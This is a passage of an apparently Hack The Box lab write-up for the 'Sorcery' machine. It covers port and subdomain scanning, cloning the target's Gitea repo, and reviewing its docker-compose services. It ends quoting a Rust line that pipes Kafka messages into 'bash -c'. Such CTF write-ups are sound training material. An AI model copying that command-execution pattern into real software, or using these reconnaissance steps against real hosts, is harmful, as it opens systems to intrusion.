6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">11:11:35</span></span><a href="https://app.hackthebox.com/users/1094941" target="_blank" rel="noopener"><img alt="Suredials" src="https://www.hackthebox.com/badge/image/1094941" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Suredials</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">12:35:52</span></span><a href="https://app.hackthebox.com/users/634163" target="_blank" rel="noopener"><img alt="l1nvx" src="https://www.hackthebox.com/badge/image/634163" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> l1nvx</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/775445" target="_blank" rel="noopener"><img alt="tomadimitrie" src="https://www.hackthebox.com/badge/image/775445" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> tomadimitrie</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds two open TCP ports, SSH (22) and HTTPS (443):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.25.147
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-15 05:02 UTC
...[snip]...
Nmap scan report for 10.129.25.147
Host is up, received echo-reply ttl 63 (0.020s latency).
Scanned at 2026-04-15 05:02:58 UTC for 8s
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
443/tcp open  https   syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
           Raw packets sent: 71183 (3.132MB) | Rcvd: 65536 (2.621MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,443 <span class="nt">-sCV</span> 10.129.25.147
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-15 05:03 UTC
Nmap scan report for 10.129.25.147
Host is up (0.021s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_  256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519)
443/tcp open  ssl/http nginx 1.27.1
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: Did not follow redirect to https://sorcery.htb/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
| Not valid before: 2024-10-31T02:09:11
|_Not valid after:  2052-03-18T02:09:11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH version</a>, the host is likely running Ubuntu 24.04 noble LTS. The <a href="/cheatsheets/os#ubuntu">Nginx version</a> doesn’t immediately line up with any of my recorded values.</p>

<p>There’s one additional hop to get to the webserver:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.25.147:22
<span class="go">Tracing ...T
TTL LFT trace to 10.129.25.147:22/tcp
 1  10.10.14.1 19.2ms
 2  [target open] 10.129.25.147:22 19.6ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.25.147:443
<span class="go">Tracing ....T
TTL LFT trace to 10.129.25.147:443/tcp
 1  10.10.14.1 19.4ms
 2  10.129.25.147 20.0ms
 3  [target open] 10.129.25.147:443 19.9ms
</span></code></pre></div></div>

<p>That implies it’s running in a container.</p>

<p>There’s a redirect to <code class="language-plaintext highlighter-rouge">sorcery.htb</code> on port 443, as well as that same domain in the TLS certificate.</p>

<h3 id="subdomain-brute-force">Subdomain Brute Force</h3>

<p>Given the use of domain name based routing, I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to brute-force subdomains that respond differently than the default case:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> https://10.129.25.147 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.sorcery.htb"</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://10.129.25.147
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.sorcery.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

git                     [Status: 200, Size: 13592, Words: 1048, Lines: 272, Duration: 569ms]
:: Progress: [19966/19966] :: Job [1/1] :: 203 req/sec :: Duration: [0:01:26] :: Errors: 0 ::
</span></code></pre></div></div>

<p>It very quickly finds <code class="language-plaintext highlighter-rouge">git</code>. I’ll add both to my <code class="language-plaintext highlighter-rouge">hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.25.147   sorcery.htb git.sorcery.htb
</code></pre></div></div>

<p>I’ll re-run <code class="language-plaintext highlighter-rouge">nmap</code> with scripts targeting each subdomain by name, but not find anything interesting on either.</p>

<h3 id="sorceryhtb---tcp-443">sorcery.htb - TCP 443</h3>

<h4 id="site">Site</h4>

<p>The site just presents a login form:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414202354032.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414202354032.png" alt="image-20260414202354032" class="include_image " />
</picture>

<p>The link leads to <code class="language-plaintext highlighter-rouge">git.sorcery.htb/nicole_sullivan/infrastructure</code>. In addition to logging in with password, there’s a Passkey option:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414202431943.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414202431943.png" alt="image-20260414202431943" class="include_image " />
</picture>

<p>The registration form has an optional “Registration Key” field:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414202527339.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414202527339.png" alt="image-20260414202527339" class="include_image " />
</picture>

<p>If I try to register the username admin, it fails:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203855869.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203855869.png" alt="image-20260414203855869" class="include_image " />
</picture>

<p>I can register an account and log in. On logging in I’m directed to <code class="language-plaintext highlighter-rouge">/dashboard/store</code>:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203417167.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203417167.png" alt="image-20260414203417167" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>The items show at <code class="language-plaintext highlighter-rouge">/dashboard/store/&lt;id&gt;</code> and aren’t interesting, other than that someone forgot to fill in the id in the breadcrumbs:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203525061.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203525061.png" alt="image-20260414203525061" class="include_image " />
</picture>

<p>The IDs are GUIDs.</p>

<p>Under “Profile” there’s my user id, username, user type, and login type. There’s an option to enroll a passkey:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203609312.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260414203609312.png" alt="image-20260414203609312" class="include_image " />
</picture>

<p>There’s also a hint that I really want to get to be a seller (or admin).</p>

<h4 id="passkey">Passkey</h4>

<p>In Firefox, if I hit “Enroll Passkey”, it pops up waiting for a physical key:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060959382.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060959382.png" alt="image-20260415060959382" class="include_image " />
</picture>

<p>Firefox doesn’t offer a dev tools Passkey emulator, but Chrome does. I’ll open the Chrome dev tools, and click on the three dot menu at the top right. From there, “More tools”, and then “WebAuthn”:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060630343.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060630343.png" alt="image-20260415060630343" class="include_image " />
</picture>

<p>In the new panel, I’ll have the option to create a new authenticator:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060749664.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060749664.png" alt="image-20260415060749664" class="include_image " />
</picture>

<p>I’ll check each option, and hit Add. Now there’s an authenticator with no credentials:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060837664.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415060837664.png" alt="image-20260415060837664" class="include_image " />
</picture>

<p>If I click “Enroll Passkey” on the Profile page, now the page shows an ID:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061128271.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061128271.png" alt="image-20260415061128271" class="include_image " />
</picture>

<p>And that same ID shows in the emulator:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061140713.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061140713.png" alt="image-20260415061140713" class="include_image " />
</picture>

<p>If I log out and then log in with Passkey, entering my username and submitting goes directly to the dashboard.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show not only Nginx but also <a href="https://nextjs.org/">NextJS</a>:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">307</span> <span class="ne">Temporary Redirect</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.27.1</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Wed, 15 Apr 2026 00:23:23 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding</span>
<span class="na">link</span><span class="p">:</span> <span class="s">&lt;/_next/static/media/a34f9d1faa5f3315-s.p.woff2&gt;; rel=preload; as="font"; crossorigin=""; type="font/woff2"</span>
<span class="na">Location</span><span class="p">:</span> <span class="s">/auth/login</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">Next.js</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">private, no-cache, no-store, max-age=0, must-revalidate</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">4613</span>
</code></pre></div></div>

<p>The 404 page also matches the <a href="/cheatsheets/404#nextjs">default NextJS 404</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061528470.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061528470.png" alt="image-20260415061528470" class="include_image " />
</picture>

<p>Given the availability of the source code, I’ll skip the directory brute force for now.</p>

<h3 id="gitsorceryhtb">git.sorcery.htb</h3>

<h4 id="site-1">Site</h4>

<p>The site is an instance of Gitea:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061704198.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415061704198.png" alt="image-20260415061704198" class="include_image " />
</picture>

<p>Under “Explore”, there’s one repo (the same one linked to by the main site):</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415062006030.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415062006030.png" alt="image-20260415062006030" class="include_image " />
</picture>

<p>It’s got four directories and a <code class="language-plaintext highlighter-rouge">docker-compose.yml</code> file:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415062047809.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260415062047809.png" alt="image-20260415062047809" class="include_image " />
</picture>

<p>I’ll go through those in detail shortly.</p>

<h4 id="tech-stack-1">Tech Stack</h4>

<p>The footer shows that this is Gitea version 1.22.1. The HTTP response headers also show Nginx and Gitea:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.27.1</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Wed, 15 Apr 2026 10:16:33 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">max-age=0, private, must-revalidate, no-transform</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">i_like_gitea=3df4e8ff73be0904; Path=/; HttpOnly; SameSite=Lax</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">_csrf=s_zru6IGhHr2Zv6s0kR0frsEsfw6MTc3NjI0ODE5MzI5MDQ0NzA4Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax</span>
<span class="na">X-Frame-Options</span><span class="p">:</span> <span class="s">SAMEORIGIN</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">13591</span>
</code></pre></div></div>

<p><a href="https://about.gitea.com/">Gitea</a> is a self-hosted Git server <a href="https://github.com/go-gitea/gitea">written in Go</a>.</p>

<h3 id="source-code">Source Code</h3>

<h4 id="repo">Repo</h4>

<p>I’ll grab the link to the repo from the page and clone it. By default, this will fail for having an untrusted certificate:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
<span class="go">Cloning into 'infrastructure'...
fatal: unable to access 'https://git.sorcery.htb/nicole_sullivan/infrastructure.git/': server certificate verification failed. CAfile: none CRLfile: none
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">GIT_SSL_NO_VERIFY=1</code> will allow me to skip this:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">GIT_SSL_NO_VERIFY</span><span class="o">=</span>1 git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
<span class="go">Cloning into 'infrastructure'...
remote: Enumerating objects: 169, done.
remote: Counting objects: 100% (169/169), done.
remote: Compressing objects: 100% (142/142), done.
remote: Total 169 (delta 8), reused 169 (delta 8), pack-reused 0 (from 0)
Receiving objects: 100% (169/169), 136.24 KiB | 1.87 MiB/s, done.
Resolving deltas: 100% (8/8), done.
</span></code></pre></div></div>

<p>Now the repo is here:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls </span>infrastructure/
<span class="go">backend  backend-macros  dns  docker-compose.yml  frontend
</span></code></pre></div></div>

<p>The repo only has a single commit:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git log
<span class="go">commit acb753dd975a639f2dbc28ee8fd4d67adc50e609 (HEAD -&gt; main, origin/main, origin/HEAD)
Author: nicole_sullivan &lt;nicole_sullivan@sorcery.htb&gt;
Date:   Wed Oct 30 18:14:43 2024 +0000

    Final version
</span></code></pre></div></div>

<p>This does provide an email address, as well as the username format of <code class="language-plaintext highlighter-rouge">&lt;first&gt;_&lt;last&gt;</code>.</p>

<h4 id="docker-composeyml">docker-compose.yml</h4>

<p>The <code class="language-plaintext highlighter-rouge">docker-compose.yml</code> file defines 10 Docker containers:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>docker-compose.yml | <span class="nb">grep</span> <span class="nt">-P</span> <span class="s1">'^  \w'</span>
<span class="go">  backend:
  frontend:
  neo4j:
  kafka:
  dns:
  mail:
  ftp:
  gitea:
  mail_bot:
  nginx:
</span></code></pre></div></div>

<h4 id="neo4j">Neo4j</h4>

<p><code class="language-plaintext highlighter-rouge">neo4j</code> uses the default community <a href="https://neo4j.com/">Neo4j</a> image to stand up the database:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">neo4j</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">neo4j:5.23.0-community-bullseye</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">NEO4J_AUTH</span><span class="pi">:</span> <span class="s">${DATABASE_USER}/${DATABASE_PASSWORD}</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/127.0.0.1/7687"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p>It’s listening on port 7687. The healthcheck will try to read from this port every 5 seconds to make sure the DB is up.</p>

<h4 id="kafka">Kafka</h4>

<p><code class="language-plaintext highlighter-rouge">kafka</code> points to an image that should be at <code class="language-plaintext highlighter-rouge">./kafka/Dockerfile</code>. <a href="https://kafka.apache.org/">Apache Kafka</a> is a distributed event-streaming platform where applications publish messages to named “topics” and other applications subscribe to those topics to consume the stream. It’s commonly used as a durable message bus between microservices, for log aggregation, and for async event pipelines.</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">kafka</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">build</span><span class="pi">:</span> <span class="s">kafka</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">CLUSTER_ID</span><span class="pi">:</span> <span class="s">pXWI6g0JROm4f-1iZ_YH0Q</span>
      <span class="na">KAFKA_NODE_ID</span><span class="pi">:</span> <span class="m">1</span>
      <span class="na">KAFKA_LISTENER_SECURITY_PROTOCOL_MAP</span><span class="pi">:</span> <span class="s">CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT</span>
      <span class="na">KAFKA_LISTENERS</span><span class="pi">:</span> <span class="s">PLAINTEXT://kafka:9092,CONTROLLER://kafka:9093</span>
      <span class="na">KAFKA_ADVERTISED_LISTENERS</span><span class="pi">:</span> <span class="s">PLAINTEXT://kafka:9092</span>
      <span class="na">KAFKA_PROCESS_ROLES</span><span class="pi">:</span> <span class="s">broker,controller</span>
      <span class="na">KAFKA_CONTROLLER_QUORUM_VOTERS</span><span class="pi">:</span> <span class="s">1@kafka:9093</span>
      <span class="na">KAFKA_CONTROLLER_LISTENER_NAMES</span><span class="pi">:</span> <span class="s">CONTROLLER</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/kafka/9092"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">kafka</code> directory isn’t in the repo so I can’t see the <code class="language-plaintext highlighter-rouge">Dockerfile</code>. The environment variables indicate that this Kafka broker is running in <a href="https://developer.confluent.io/learn/kraft/">KRaft mode</a>, Kafka’s newer consensus protocol that replaces ZooKeeper for cluster metadata management:</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">KAFKA_PROCESS_ROLES: broker,controller</code> tells this single node to act as both a broker handling client traffic and a controller managing cluster metadata</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093</code> defines a one-node Raft quorum</p>
  </li>
  <li>
    <p>The absence of any <code class="language-plaintext highlighter-rouge">KAFKA_ZOOKEEPER_CONNECT</code> variable.</p>
  </li>
  <li>
    <p>The <code class="language-plaintext highlighter-rouge">CLUSTER_ID</code> is a base64 UUID required by KRaft to format the metadata log on first boot.</p>
  </li>
</ul>

<p>Two listeners are exposed: <code class="language-plaintext highlighter-rouge">PLAINTEXT://kafka:9092</code> for clients and <code class="language-plaintext highlighter-rouge">CONTROLLER://kafka:9093</code> for the internal Raft traffic between controllers.</p>

<h4 id="dns">DNS</h4>

<p><code class="language-plaintext highlighter-rouge">dns</code> is built from the <code class="language-plaintext highlighter-rouge">dns</code> directory in the repo, and unlike the Kafka image, its source is available:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">dns</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">build</span><span class="pi">:</span> <span class="s">dns</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">WAIT_HOSTS</span><span class="pi">:</span> <span class="s">kafka:9092</span>
      <span class="na">KAFKA_BROKER</span><span class="pi">:</span> <span class="s">${KAFKA_BROKER}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">WAIT_HOSTS</code> entry means the container won’t start until <code class="language-plaintext highlighter-rouge">kafka:9092</code> is reachable, and <code class="language-plaintext highlighter-rouge">KAFKA_BROKER</code> hands it the broker address.</p>

<p>Inside the image, a <code class="language-plaintext highlighter-rouge">supervisord</code> config runs two processes side-by-side. <a href="https://thekelleys.org.uk/dnsmasq/doc.html"><code class="language-plaintext highlighter-rouge">dnsmasq</code></a> (a lightweight DNS/DHCP server) is configured to answer queries from <code class="language-plaintext highlighter-rouge">/dns/hosts</code> and <code class="language-plaintext highlighter-rouge">/dns/hosts-user</code>.</p>

<p>A small Rust binary (<code class="language-plaintext highlighter-rouge">/app/dns</code>, source in <code class="language-plaintext highlighter-rouge">dns/src/main.rs</code>) is responsible for keeping those host files in sync. The Rust process subscribes to the Kafka topic <code class="language-plaintext highlighter-rouge">update</code> and pipes every message body directly into <code class="language-plaintext highlighter-rouge">bash -c</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="k">mut</span> <span class="n">process</span> <span class="o">=</span> <span class="k">match</span> <span class="nn">Command</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"bash"</span><span class="p">)</span><span class="nf">.arg</span><span class="p">(</span><span class="s">"-c"</span><span class="p">)</span><span class="nf">.arg</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><span class="nf">.spawn</span><span class="p">()</span> <span class="p">{</span>
</code></pre></div></div>

